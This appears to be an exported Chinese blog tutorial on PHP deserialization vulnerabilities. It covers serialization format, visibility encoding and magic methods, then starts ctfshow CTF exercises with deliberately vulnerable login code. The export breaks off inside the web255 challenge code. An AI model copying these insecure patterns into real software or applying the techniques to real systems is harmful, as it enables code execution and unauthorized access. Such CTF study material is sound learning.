{"id":133,"date":"2025-06-09T21:21:17","date_gmt":"2025-06-09T13:21:17","guid":{"rendered":"http:\/\/101.201.119.158\/?p=133"},"modified":"2025-11-18T22:55:56","modified_gmt":"2025-11-18T14:55:56","slug":"php%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96%e6%bc%8f%e6%b4%9e","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=133","title":{"rendered":"PHP\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e"},"content":{"rendered":"\n

\u6f0f\u6d1e\u5229\u7528\uff1a<\/h2>\n\n\n\n

\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff08Deserialization Vulnerability\uff09\u662f\u4e00\u79cd\u5b89\u5168\u6f0f\u6d1e\uff0c\u5b58\u5728\u4e8e\u5e94\u7528\u7a0b\u5e8f\u4e2d\u5bf9\u6570\u636e\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u64cd\u4f5c\u7684\u8fc7\u7a0b\u4e2d\u3002\u5f53\u5e94\u7528\u7a0b\u5e8f\u63a5\u6536\u5230\u5916\u90e8\u4f20\u9012\u7684\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e\u5e76\u8fdb\u884c\u53cd\u5e8f\u5217\u5316\u65f6\uff0c\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\u6267\u884c\u672a\u7ecf\u6388\u6743\u7684\u4ee3\u7801\u6216\u5bfc\u81f4\u5e94\u7528\u7a0b\u5e8f\u53d7\u5230\u653b\u51fb\u3002<\/p>\n\n\n\n

\u539f\u7406\uff1a<\/h2>\n\n\n\n

\u65e2\u7136\u662f\u53cd\u5e8f\u5217\u5316\u7684\u8bdd\uff0c\u9996\u5148\u8981\u4e86\u89e3\u4ec0\u4e48\u662f\u5e8f\u5217\u5316\u548c\u53cd\u5e8f\u5217\u5316\u4ee5\u53ca\u4ed6\u4eec\u7684\u533a\u522b<\/p>\n\n\n\n

\u5e8f\u5217\u5316\uff1a\u5c31\u662f\u5c06\u5bf9\u8c61\u8f6c\u5316\u4e3a\u5b57\u7b26\u4e32\u8fdb\u884c\u5b58\u50a8 class S{`    `public $test=\"pikachu\";``}``   ``$s=new S();     \/\/\u521b\u5efa\u4e00\u4e2a\u5bf9\u8c61``   ``serialize($s);     \/\/\u628a\u8fd9\u4e2a\u5bf9\u8c61\u8fdb\u884c\u5e8f\u5217\u5316``   ``\u5e8f\u5217\u5316\u540e\u5f97\u5230\u7684\u7ed3\u679c\u662f\u8fd9\u4e2a\u6837\u5b50\u7684:O:1:\"S\":1:{s:4:\"test\";s:7:\"pikachu\";}`    `O:\u4ee3\u8868object`    `1:\u8868\u793a\u8be5\u5bf9\u8c61\u7684\u7c7b\u540d\u7684\u5b57\u8282\u6570\uff08\u5373\u7c7b\u540d\u957f\u5ea6\u4e3a1\uff09`    `S:\u5bf9\u8c61\u7684\u540d\u79f0`    `1:\u8868\u793a\u8be5\u5bf9\u8c61\u6709 1 \u4e2a\u5c5e\u6027\u3002`    `s:\u6570\u636e\u7c7b\u578b`    `4:\u53d8\u91cf\u540d\u79f0\u7684\u957f\u5ea6`    `test:\u53d8\u91cf\u540d\u79f0`    `s:\u6570\u636e\u7c7b\u578b`    `7:\u53d8\u91cf\u503c\u7684\u957f\u5ea6`    `pikachu:\u53d8\u91cf\u503c
\u53cd\u5e8f\u5217\u5316\uff1a\u5c31\u662f\u5c06\u5b57\u7b26\u4e32\u8f6c\u5316\u4e3a\u5bf9\u8c61 $u=unserialize(\"O:1:\"S\":1:{s:4:\"test\";s:7:\"pikachu\";}\");``   ``echo $u->test; \/\/\u5f97\u5230\u7684\u7ed3\u679c\u4e3apikachu (\u6ce8\u610f\u662fecho)\u53cd\u5e8f\u5217\u5316\u4f7f\u7528 unserialize () \u51fd\u6570\u5c06\u5b57\u7b26\u4e32\u8f6c\u6362\u4e3a\u5bf9\u8c61\uff0c\u5e8f\u5217\u5316\u4f7f\u7528 serialize () \u51fd\u6570\u5c06\u5bf9\u8c61\u8f6c\u5316\u4e3a\u5b57\u7b26\u4e32\uff1b \u53cd\u5e8f\u5217\u5316\u4e0d\u89e6\u53d1\u7c7b\u7684\u6210\u5458\u65b9\u6cd5\uff0c\u9700\u8981\u8c03\u7528\u65b9\u6cd5\u540e\u624d\u80fd\u89e6\u53d1
\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\uff1a\u5c31\u662f\u5728\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\uff0c\u5982\u679c\u6076\u610f\u8005\u53ef\u4ee5\u5bf9\u5c06\u8981\u8f6c\u6362\u7684\u5b57\u7b26\u4e32\u8fdb\u884c\u64cd\u63a7\uff0c\u4ece\u800c\u8fbe\u5230\u4efb\u610f\u4ee3\u7801\u6267\u884c\u7684\u64cd\u4f5c<\/pre>\n\n\n\n
\u800c\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1e\u7684\u4e3b\u8981\u539f\u7406\u662f\u5e94\u7528\u7a0b\u5e8f\u5728\u53cd\u5e8f\u5217\u5316\u8fc7\u7a0b\u4e2d\u6ca1\u6709\u5bf9\u4f20\u5165\u7684\u6570\u636e\u8fdb\u884c\u8db3\u591f\u7684\u9a8c\u8bc1\u548c\u8fc7\u6ee4\uff0c\u5bfc\u81f4\u653b\u51fb\u8005\u53ef\u4ee5\u5229\u7528\u6784\u9020\u7684\u6076\u610f\u5e8f\u5217\u5316\u6570\u636e\u6765\u6267\u884c\u4efb\u610f\u4ee3\u7801\u6216\u8fdc\u7a0b\u4ee3\u7801\u6267\u884c\u653b\u51fb\u3002<\/p>\n\n\n\n
PHP\u9762\u5411\u5bf9\u8c61\u7684\u57fa\u7840\uff1a<\/h2>\n\n\n\n
1.\u8fc7\u7a0b\uff1a<\/h3>\n\n\n\n
\u9762\u5411\u8fc7\u7a0b\u662f\u4e00\u79cd\u4ee5\u201c\u6574\u4f53\u4e8b\u4ef6\u201d\u4e3a\u4e2d\u5fc3\u7684\u7f16\u7a0b\u601d\u60f3\uff0c\u7f16\u7a0b\u7684\u65f6\u5019\u628a\u89e3\u51b3\u95ee\u9898\u7684\u6b65\u9aa4\u5206\u6790\u51fa\u6765\uff0c\u7136\u540e\u7528\u51fd\u6570\u628a\u8fd9\u4e9b\u6b65\u9aa4\u5b9e\u73b0\uff0c\u5728\u4e00\u6b65\u4e00\u6b65\u7684\u5177\u4f53\u6b65\u9aa4\u4e2d\u518d\u6309\u987a\u5e8f\u8c03\u7528\u51fd\u6570\uff1b<\/p>\n\n\n\n
2.\u5bf9\u8c61\uff1a<\/h3>\n\n\n\n
\u9762\u5411\u5bf9\u8c61\u662f\u4e00\u79cd\u4ee5\u201c\u5bf9\u8c61\u201d\u4e3a\u4e2d\u5fc3\u7684\u7f16\u7a0b\u601d\u60f3\uff0c\u628a\u8981\u89e3\u51b3\u7684\u95ee\u9898\u5206\u89e3\u6210\u5404\u4e2a\u201c\u5bf9\u8c61\u201d\uff1b\u5bf9\u8c61\u662f\u4e00\u4e2a\u7531\u4fe1\u606f\u53ca\u5bf9\u4fe1\u606f\u8fdb\u884c\u5904\u7406\u7684\u63cf\u8ff0\u6240\u7ec4\u6210\u7684\u6574\u4f53\uff0c\u662f\u5bf9\u73b0\u5b9e\u4e16\u754c\u7684\u62bd\u8c61\uff1b<\/p>\n\n\n\n
\u5bf9\u8c61\u7684\u4e09\u4e2a\u7279\u5f81\uff1a\u5bf9\u8c61\u7684\u884c\u4e3a\uff0c\u5bf9\u8c61\u7684\u5f62\u6001\uff0c\u5bf9\u8c61\u7684\u8868\u793a<\/p>\n\n\n\n
3.\u7c7b\u7684\u5b9a\u4e49\uff1a<\/h3>\n\n\n\n
\u7c7b\u662f\u5b9a\u4e49\u4e86\u4e00\u4ef6\u4e8b\u7269\u7684\u62bd\u8c61\u7279\u70b9\uff0c\u5b83\u5c06\u6570\u636e\u7684\u5f62\u5f0f\u4ee5\u53ca\u8fd9\u4e9b\u6570\u636e\u4e0a\u7684\u64cd\u4f5c\u5c01\u88c5\u5728\u4e00\u8d77\uff1b\u5bf9\u8c61\u662f\u5177\u6709\u7c7b\u7c7b\u578b\u7684\u53d8\u91cf\uff0c\u662f\u5bf9\u7c7b\u7684\u5b9e\u4f8b\uff1b<\/p>\n\n\n\n
\u7c7b\u7684\u5b9a\u4e49\u5305\u62ec\u5b9a\u4e49\u7c7b\u540d\u3001\u5b9a\u4e49\u6210\u5458\u5c5e\u6027\u3001\u5b9a\u4e49\u6210\u5458\u65b9\u6cd5\uff1b \u5185\u90e8\u6784\u6210\uff1a\u6210\u5458\u5c5e\u6027(\u53d8\u91cf)+\u6210\u5458\u65b9\u6cd5(\u51fd\u6570)<\/p>\n\n\n\n
4.\u7ee7\u627f\uff1a<\/h3>\n\n\n\n
\u7ee7\u627f\u6027\u662f\u5b50\u7c7b\u81ea\u52a8\u5171\u4eab\u7236\u7c7b\u6570\u636e\u7ed3\u6784\u548c\u65b9\u6cd5\u7684\u673a\u5236\uff0c\u662f\u7c7b\u4e4b\u95f4\u7684\u4e00\u79cd\u5173\u7cfb\uff1b<\/p>\n\n\n\n
    \u5728\u5b9a\u4e49\u548c\u5b9e\u73b0\u4e00\u4e2a\u7c7b\u7684\u65f6\u5019\uff0c\u53ef\u4ee5\u5728\u4e00\u4e2a\u5df2\u7ecf\u5b58\u5728\u7684\u7c7b\u7684\u57fa\u7840\u4e4b\u4e0a\u6765\u8fdb\u884c\uff0c\u628a\u4e00\u4e2a\u5df2\u7ecf\u5b58\u5728\u7684\u7c7b\u6240\u5b9a\u4e49\u7684\u5185\u5bb9\u4f5c\u4e3a\u81ea\u5df1\u7684\u5185\u5bb9\uff0c\u5e76\u52a0\u5165\u82e5\u5e72\u65b0\u7684\u5185\u5bb9\uff1b<\/pre>\n\n\n\n
\u7236\u7c7b\uff1a\u4e00\u4e2a\u7c7b\u88ab\u5176\u5b83\u7c7b\u7ee7\u627f\uff0c\u53ef\u5c06\u8be5\u7c7b\u6210\u4e3a\u7236\u7c7b\uff0c\u6216\u57fa\u7c7b\uff0c\u8d85\u7c7b\uff1b<\/p>\n\n\n\n
\u5b50\u7c7b\uff1a\u4e00\u4e2a\u7c7b\u7ee7\u627f\u5176\u4ed6\u7c7b\u79f0\u4e3a\u5b50\u7c7b\uff0c\u4e5f\u53ef\u79f0\u4e3a\u6d3e\u751f\u7c7b\uff1b<\/p>\n\n\n\n
5.\u6743\u9650\u4fee\u9970\u7b26\uff1a<\/h3>\n\n\n\n
public\uff1a\u516c\u5171\u7684\uff0c\u5728\u7c7b\u7684\u5185\u90e8\u3001\u5b50\u7c7b\u548c\u7c7b\u7684\u5916\u90e8\u4e2d\u90fd\u53ef\u4ee5\u88ab\u8c03\u7528\uff1b
protected\uff1a\u53d7\u4fdd\u62a4\u7684\uff0c\u5728\u7c7b\u7684\u5185\u90e8\u548c\u5b50\u7c7b\u53ef\u4ee5\u88ab\u8c03\u7528\uff0c\u5728\u7c7b\u7684\u5916\u90e8\u4e0d\u53ef\u8c03\u7528\uff1b
private\uff1a\u79c1\u6709\u7684\uff0c\u53ea\u80fd\u5728\u7c7b\u7684\u5185\u90e8\u8c03\u7528\uff0c\u5728\u5b50\u7c7b\u548c\u7c7b\u7684\u5916\u90e8\u4e0d\u53ef\u8c03\u7528\uff1b
\u4e3e\u4e2a\u6817\u5b50\uff1aclass MyClass {
    \/\/\u6210\u5458\u5c5e\u6027
    \/\/\u65b9\u6cd5
}
<?php
    class wea5e1{
    public $we='111';
    protected $a5='222';
    private $e1='333';
}
$a=new wea5e1();
$a -> we = '444';
echo serialize($a);
O:6:\"wea5e1\":3:{s:2:\"we\";s:3:\"444\";s:5:\"%00*%00a5\";s:3:\"222\";s:10:\"%00wea5e1%00e1\";s:3:\"333\";}
\u53ef\u4ee5\u53d1\u73b0\u8fd9\u4e2a\u6743\u9650protected\u4f1a\u5728\u4ed6\u7684\u6210\u5458\u90a3\u91cc\u52a0\u4e0a\u53bb%00*%00\uff0c\u800cprivate\u5219\u4f1a\u52a0%00\u7c7b\u7684\u540d\u5b57%00
\u4e00\u822c\u683c\u5f0f\uff1a
\u53d8\u91cf\u7c7b\u578b\uff1a\u7c7b\u540d\u957f\u5ea6\uff1a\u7c7b\u540d\uff1a\u5c5e\u6027\u6570\u91cf:{\u5c5e\u6027\u7c7b\u578b\uff1a\u5c5e\u6027\u540d\u957f\u5ea6\uff1a\u5c5e\u6027\u540d\uff1b\u5c5e\u6027\u503c\u7c7b\u578b\uff1a\u5c5e\u6027\u503c\u957f\u5ea6\uff1a\u5c5e\u6027\u503c\u5185\u5bb9}<\/pre>\n\n\n\n
6.\u7c7b\u578b\u63cf\u8ff0<\/h3>\n\n\n\n
a   array \u6570\u7ec4\u578b
b   boolean \u5e03\u5c14\u578b
d   double \u6d6e\u70b9\u578b
i   integer \u6574\u6570\u578b
o   common object \u5171\u540c\u5bf9\u8c61
r   object reference \u5bf9\u8c61\u5f15\u7528
s   non-escaped binary string \u975e\u8f6c\u4e49\u7684\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32
S   escaped binary string \u8f6c\u4e49\u7684\u4e8c\u8fdb\u5236\u5b57\u7b26\u4e32
C   custom object \u81ea\u5b9a\u4e49\u5bf9\u8c61
O   class \u5bf9\u8c61
N   null \u7a7a
R   pointer reference \u6307\u9488\u5f15\u7528
U   unicode string Unicode \u7f16\u7801\u7684\u5b57\u7b26\u4e32<\/pre>\n\n\n\n
\u9b54\u672f\u65b9\u6cd5\uff1a<\/h3>\n\n\n\n
__construct() \u6784\u9020\u51fd\u6570\uff0c\u5f53\u4e00\u4e2a\u5bf9\u8c61\u521b\u5efa\u65f6\u88ab\u8c03\u7528\u3002\uff08\u5b9e\u4f8b\u5316\u65f6\uff09 
__destruct() \u6790\u6784\u51fd\u6570\uff0c\u5f53\u4e00\u4e2a\u5bf9\u8c61\u9500\u6bc1\u65f6\u88ab\u8c03\u7528\u3002\u4f1a\u5728\u5230\u67d0\u4e2a\u5bf9\u8c61\u7684\u6240\u6709\u5f15\u7528\u90fd\u88ab\u5220\u9664\u6216\u8005\u5f53\u5bf9\u8c61\u88ab\u663e\u5f0f\u9500\u6bc1\u65f6\u6267\u884c  
__toString \u5f53\u4e00\u4e2a\u5bf9\u8c61\u88ab\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u88ab\u8c03\u7528\uff0c\u628a\u7c7b\u5f53\u4f5c\u5b57\u7b26\u4e32\u4f7f\u7528\u65f6\u89e6\u53d1\uff0c\u8fd4\u56de\u503c\u9700\u8981\u4e3a\u5b57\u7b26\u4e32  
__wakeup() \u8c03\u7528unserialize()\u65f6\u89e6\u53d1\uff0c\u53cd\u5e8f\u5217\u5316\u6062\u590d\u5bf9\u8c61\u4e4b\u524d\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u4f8b\u5982\u91cd\u65b0\u5efa\u7acb\u6570\u636e\u5e93\u8fde\u63a5\uff0c\u6216\u6267\u884c\u5176\u5b83\u521d\u59cb\u5316\u64cd\u4f5c\u3002unserialize()\u4f1a\u68c0\u67e5\u662f\u5426\u5b58\u5728\u4e00\u4e2a__wakeup()\u65b9\u6cd5\u3002\u5982\u679c\u5b58\u5728\uff0c\u5219\u4f1a\u5148\u8c03\u7528__wakeup()\uff0c\u9884\u5148\u51c6\u5907\u5bf9\u8c61\u9700\u8981\u7684\u8d44\u6e90\u3002  
__sleep() \u8c03\u7528serialize()\u65f6\u89e6\u53d1 \uff0c\u5728\u5bf9\u8c61\u88ab\u5e8f\u5217\u5316\u524d\u81ea\u52a8\u8c03\u7528\uff0c\u5e38\u7528\u4e8e\u63d0\u4ea4\u672a\u63d0\u4ea4\u7684\u6570\u636e\uff0c\u6216\u7c7b\u4f3c\u7684\u6e05\u7406\u64cd\u4f5c\u3002\u540c\u65f6\uff0c\u5982\u679c\u6709\u4e00\u4e9b\u5f88\u5927\u7684\u5bf9\u8c61\uff0c\u4f46\u4e0d\u9700\u8981\u5168\u90e8\u4fdd\u5b58\uff0c\u8fd9\u4e2a\u529f\u80fd\u5c31\u5f88\u597d\u7528\u3002serialize()\u51fd\u6570\u4f1a\u68c0\u67e5\u7c7b\u4e2d\u662f\u5426\u5b58\u5728\u4e00\u4e2a\u9b54\u672f\u65b9\u6cd5__sleep()\u3002\u5982\u679c\u5b58\u5728\uff0c\u8be5\u65b9\u6cd5\u4f1a\u5148\u88ab\u8c03\u7528\uff0c\u7136\u540e\u624d\u6267\u884c\u5e8f\u5217\u5316\u64cd\u4f5c\u3002\u6b64\u529f\u80fd\u53ef\u4ee5\u7528\u4e8e\u6e05\u7406\u5bf9\u8c61\uff0c\u5e76\u8fd4\u56de\u4e00\u4e2a\u5305\u542b\u5bf9\u8c61\u4e2d\u6240\u6709\u5e94\u88ab\u5e8f\u5217\u5316\u7684\u53d8\u91cf\u540d\u79f0\u7684\u6570\u7ec4\u3002\u5982\u679c\u8be5\u65b9\u6cd5\u672a\u8fd4\u56de\u4efb\u4f55\u5185\u5bb9\uff0c\u5219 NULL \u88ab\u5e8f\u5217\u5316\uff0c\u5e76\u4ea7\u751f\u4e00\u4e2aE_NOTICE\u7ea7\u522b\u7684\u9519\u8bef  
__call() \u5728\u5bf9\u8c61\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1\uff0c\u5373\u5f53\u8c03\u7528\u5bf9\u8c61\u4e2d\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\u4f1a\u81ea\u52a8\u8c03\u7528\u8be5\u65b9\u6cd5  
__callStatic() \u5728\u9759\u6001\u4e0a\u4e0b\u6587\u4e2d\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1  
__get() \u7528\u4e8e\u4ece\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u8bfb\u53d6\u6570\u636e\uff0c\u5373\u5728\u8c03\u7528\u79c1\u6709\u5c5e\u6027\u7684\u65f6\u5019\u4f1a\u81ea\u52a8\u6267\u884c  
__set() \u7528\u4e8e\u5c06\u6570\u636e\u5199\u5165\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027  
__isset() \u5728\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e0a\u8c03\u7528isset()\u6216empty()\u89e6\u53d1  
__unset() \u5728\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u4e0a\u4f7f\u7528unset()\u65f6\u89e6\u53d1  
__invoke() \u5f53\u811a\u672c\u5c1d\u8bd5\u5c06\u5bf9\u8c61\u8c03\u7528\u4e3a\u51fd\u6570\u65f6\u89e6\u53d1<\/pre>\n\n\n\n
construct():<\/h4>\n\n\n\n
\u6784\u9020\u51fd\u6570\uff0c\u5f53\u4e00\u4e2a\u5bf9\u8c61\u521b\u5efa\u65f6\u88ab\u8c03\u7528\u3002\uff08\u5b9e\u4f8b\u5316\u65f6\uff09\u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public function __construct()
    {
        echo 'construct\u65b9\u6cd5\u89e6\u53d1';
    }
}
$a = new wea5e1();
\/\/construct \u65b9\u6cd5\u89e6\u53d1<\/pre>\n\n\n\n
destruct():<\/h4>\n\n\n\n
\u6790\u6784\u51fd\u6570\uff0c\u5f53\u4e00\u4e2a\u5bf9\u8c61\u9500\u6bc1\u65f6\u88ab\u8c03\u7528\u3002\u4f1a\u5728\u5230\u67d0\u4e2a\u5bf9\u8c61\u7684\u6240\u6709\u5f15\u7528\u90fd\u88ab\u5220\u9664\u6216\u8005\u5f53\u5bf9\u8c61\u88ab\u663e\u5f0f\u9500\u6bc1\u65f6\u6267\u884c \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public function __destruct()
    {
        echo 'destruct\u65b9\u6cd5\u89e6\u53d1';
    }
}
$a = new wea5e1(); \/\/destruct\u65b9\u6cd5\u89e6\u53d1<\/pre>\n\n\n\n
\u867d\u7136\u8fd9\u4e24\u4e2a\u7684\u65b9\u5f0f\u5dee\u4e0d\u591a\u4f46\u662f\u4e8c\u8005\u4f18\u5148\u7ea7\u4e0d\u4e00\u6837<\/p>\n\n\n\n
\u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public function __construct(){
        echo 'construct\u65b9\u6cd5\u89e6\u53d1';
    }
    public function __destruct()
    {
        echo 'destruct\u65b9\u6cd5\u89e6\u53d1';
    }
}
$a = new wea5e1(); \/\/construct\u65b9\u6cd5\u89e6\u53d1destruct\u65b9\u6cd5\u89e6\u53d1<\/pre>\n\n\n\n
tostring():<\/h4>\n\n\n\n
\u5f53\u4e00\u4e2a\u5bf9\u8c61\u88ab\u5f53\u4f5c\u4e00\u4e2a\u5b57\u7b26\u4e32\u88ab\u8c03\u7528\uff0c\u628a\u7c7b\u5f53\u4f5c\u5b57\u7b26\u4e32\u4f7f\u7528\u65f6\u89e6\u53d1\uff0c\u8fd4\u56de\u503c\u9700\u8981\u4e3a\u5b57\u7b26\u4e32 \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class me{
    public $name=\"wea5e1\";
    public function __toString()
    {
        return '__toString\u65b9\u6cd5\u5df2\u89e6\u53d1';
    }
}
$a  = new me();
\/\/echo $a;
echo \"\\n\";
echo serialize($a);\/\/O:2:\"me\":1:{s:4:\"name\";s:6:\"wea5e1\";}
\u53d6\u6d88echo $a\u7684\u6ce8\u91ca\u7684\u8bdd \/\/__toString\u65b9\u6cd5\u5df2\u89e6\u53d1
O:2:\"me\":1:{s:4:\"name\";s:6:\"wea5e1\";}<\/pre>\n\n\n\n
wakeup():<\/h4>\n\n\n\n
\u8c03\u7528unserialize()\u65f6\u89e6\u53d1\uff0c\u53cd\u5e8f\u5217\u5316\u6062\u590d\u5bf9\u8c61\u4e4b\u524d\u8c03\u7528\u8be5\u65b9\u6cd5\uff0c\u4f8b\u5982\u91cd\u65b0\u5efa\u7acb\u6570\u636e\u5e93\u8fde\u63a5\uff0c\u6216\u6267\u884c\u5176\u5b83\u521d\u59cb\u5316\u64cd\u4f5c\u3002unserialize()\u4f1a\u68c0\u67e5\u662f\u5426\u5b58\u5728\u4e00\u4e2a__wakeup()\u65b9\u6cd5\u3002\u5982\u679c\u5b58\u5728\uff0c\u5219\u4f1a\u5148\u8c03\u7528__wakeup()\uff0c\u9884\u5148\u51c6\u5907\u5bf9\u8c61\u9700\u8981\u7684\u8d44\u6e90\u3002(\u8fd9\u91cc\u6709\u4e2a\u7ed5\u8fc7)\u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class me{
    public $name=\"wea5e1\";
    public function __wakeup()
    {
        echo '__wakeup\u65b9\u6cd5\u5df2\u89e6\u53d1';
    }
}
$a = new me();
$b = serialize($a);
echo $b;
$b = unserialize($b); \/\/O:2:\"me\":1:{s:4:\"name\";s:6:\"wea5e1\";}__wakeup\u65b9\u6cd5\u5df2\u89e6\u53d1<\/pre>\n\n\n\n
sleep():<\/h4>\n\n\n\n
\u8c03\u7528serialize()\u65f6\u89e6\u53d1 \uff0c\u5728\u5bf9\u8c61\u88ab\u5e8f\u5217\u5316\u524d\u81ea\u52a8\u8c03\u7528\uff0c\u5e38\u7528\u4e8e\u63d0\u4ea4\u672a\u63d0\u4ea4\u7684\u6570\u636e\uff0c\u6216\u7c7b\u4f3c\u7684\u6e05\u7406\u64cd\u4f5c\u3002\u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class me {
public $name = \"wea5e1\";
public $age = 18;
\u200b
public function __sleep() {
echo '__sleep\u65b9\u6cd5\u5df2\u89e6\u53d1' . PHP_EOL;
return ['age'];  \/\/ \u6307\u5b9a\u8981\u5e8f\u5217\u5316\u7684\u5c5e\u6027
}
}
\u200b
$a = new me();
$b = serialize($a);
echo $b;  \/\/__sleep\u65b9\u6cd5\u5df2\u89e6\u53d1
O:2:\"me\":1:{s:3:\"age\";i:18;}<\/pre>\n\n\n\n
call():<\/h4>\n\n\n\n
\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u6216\u4e0d\u5b58\u5728\u7684\u65b9\u6cd5\u65f6\u89e6\u53d1 \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public $name=\"wea5e1\";
    public $age = \"18\";
    public function __call($name, $age){
        echo 'call\u89e6\u53d1';
        echo \"\\n\";
    }
}
$a = new wea5e1();
$a -> sb();
echo serialize($a); \/\/call\u89e6\u53d1
O:6:\"wea5e1\":2:{s:4:\"name\";s:6:\"wea5e1\";s:3:\"age\";s:2:\"18\";}<\/pre>\n\n\n\n
\u8fd9\u91cc\u5148\u8bb2\u4e0bget\u548cset(\u8fd9\u4e09\u4e2a\u53ef\u80fd\u7ecf\u5e38\u641e\u6df7)<\/p>\n\n\n\n
get():<\/h4>\n\n\n\n
\u8c03\u7528\u4e0d\u53ef\u8bbf\u95ee\u6216\u4e0d\u5b58\u5728\u7684\u5c5e\u6027\u662f\u89e6\u53d1 \u548c\u4e0a\u9762\u8981\u533a\u5206\u5f00\u6765 \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public $name=\"wea5e1\";
    public $age = \"18\";
    public function __get($name){
        echo 'get\u89e6\u53d1';
        echo \"\\n\";
    }
}
$a = new wea5e1();
$a -> sb;
echo serialize($a);\/\/get\u89e6\u53d1
O:6:\"wea5e1\":2:{s:4:\"name\";s:6:\"wea5e1\";s:3:\"age\";s:2:\"18\";}<\/pre>\n\n\n\n
set():<\/h4>\n\n\n\n
\u7528\u4e8e\u5c06\u6570\u636e\u5199\u5165\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027 \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public $name=\"wea5e1\";
    public $age = \"18\";
    public function __set($name,$age){
        echo 'set\u89e6\u53d1';
        echo \"\\n\";
    }
}
$a = new wea5e1();
$a -> sb = \"nb\";
echo serialize($a); \/\/set\u89e6\u53d1
O:6:\"wea5e1\":2:{s:4:\"name\";s:6:\"wea5e1\";s:3:\"age\";s:2:\"18\";}<\/pre>\n\n\n\n
isset():<\/h4>\n\n\n\n
\u5f53\u4f7f\u7528 isset \u6216\u8005\u662f empty \u6765\u68c0\u67e5\u4e0d\u5b58\u5728\u6216\u8005\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u65f6\u89e6\u53d1 
<?php
class wea5e1{
    public $name=\"wea5e1\";
    public $age = \"18\";
    public function __isset($name){
        echo 'isset\u89e6\u53d1';
        echo \"\\n\";
    }
}
$a = new wea5e1();
isset($a->sb);
echo serialize($a); \/\/isset\u89e6\u53d1
O:6:\"wea5e1\":2:{s:4:\"name\";s:6:\"wea5e1\";s:3:\"age\";s:2:\"18\";}<\/pre>\n\n\n\n
unset():<\/h4>\n\n\n\n
\u4f7f\u7528 unset() \u5220\u9664\u4e00\u4e2a\u4e0d\u5b58\u5728\u6216\u4e0d\u53ef\u8bbf\u95ee\u7684\u5c5e\u6027\u65f6\u89e6\u53d1 \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public $name=\"wea5e1\";
    public $age = \"18\";
    public function __unset($name){
        echo 'unset\u89e6\u53d1';
        echo \"\\n\";
    }
}
$a = new wea5e1();
unset($a->sb);
echo serialize($a); \/\/unset\u89e6\u53d1
O:6:\"wea5e1\":2:{s:4:\"name\";s:6:\"wea5e1\";s:3:\"age\";s:2:\"18\";}<\/pre>\n\n\n\n
invoke()<\/h4>\n\n\n\n
\u5f53\u5c06\u4e00\u4e2a\u5bf9\u8c61\u50cf\u51fd\u6570\u4e00\u6837\u8c03\u7528\u65f6\u89e6\u53d1 \u4e3e\u4e2a\u6817\u5b50\uff1a
<?php
class wea5e1{
    public $name=\"wea5e1\";
    public $age = \"18\";
    public function __invoke($name){
        echo 'invoke\u89e6\u53d1';
        echo \"\\n\";
    }
}
$a = new wea5e1();
echo $a('s');
echo serialize($a); \/\/invoke\u89e6\u53d1
O:6:\"wea5e1\":2:{s:4:\"name\";s:6:\"wea5e1\";s:3:\"age\";s:2:\"18\";}<\/pre>\n\n\n\n
show\u9898\u901f\u5237<\/h2>\n\n\n\n
web254<\/h3>\n\n\n\n
include('flag.php');
\u200b
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
\u200b
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo \"your flag is \".$flag;
        }else{
            echo \"no vip, no flag\";
        }
    }
}
\u200b
$username=$_GET['username'];
$password=$_GET['password'];
\u200b
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo \"no vip,no flag\";
    }
}
ez,\u6ee1\u8db3isVip=true\u5373\u53ef\uff0cget\u76f4\u63a5\u4f20username=xxxxxx&password=xxxxxx<\/pre>\n\n\n\n
web255<\/h3>\n\n\n\n
include('flag.php');
\u200b
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
\u200b
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo \"your flag is \".$flag;
        }else{
            echo \"no vip, no flag\";
        }
    }
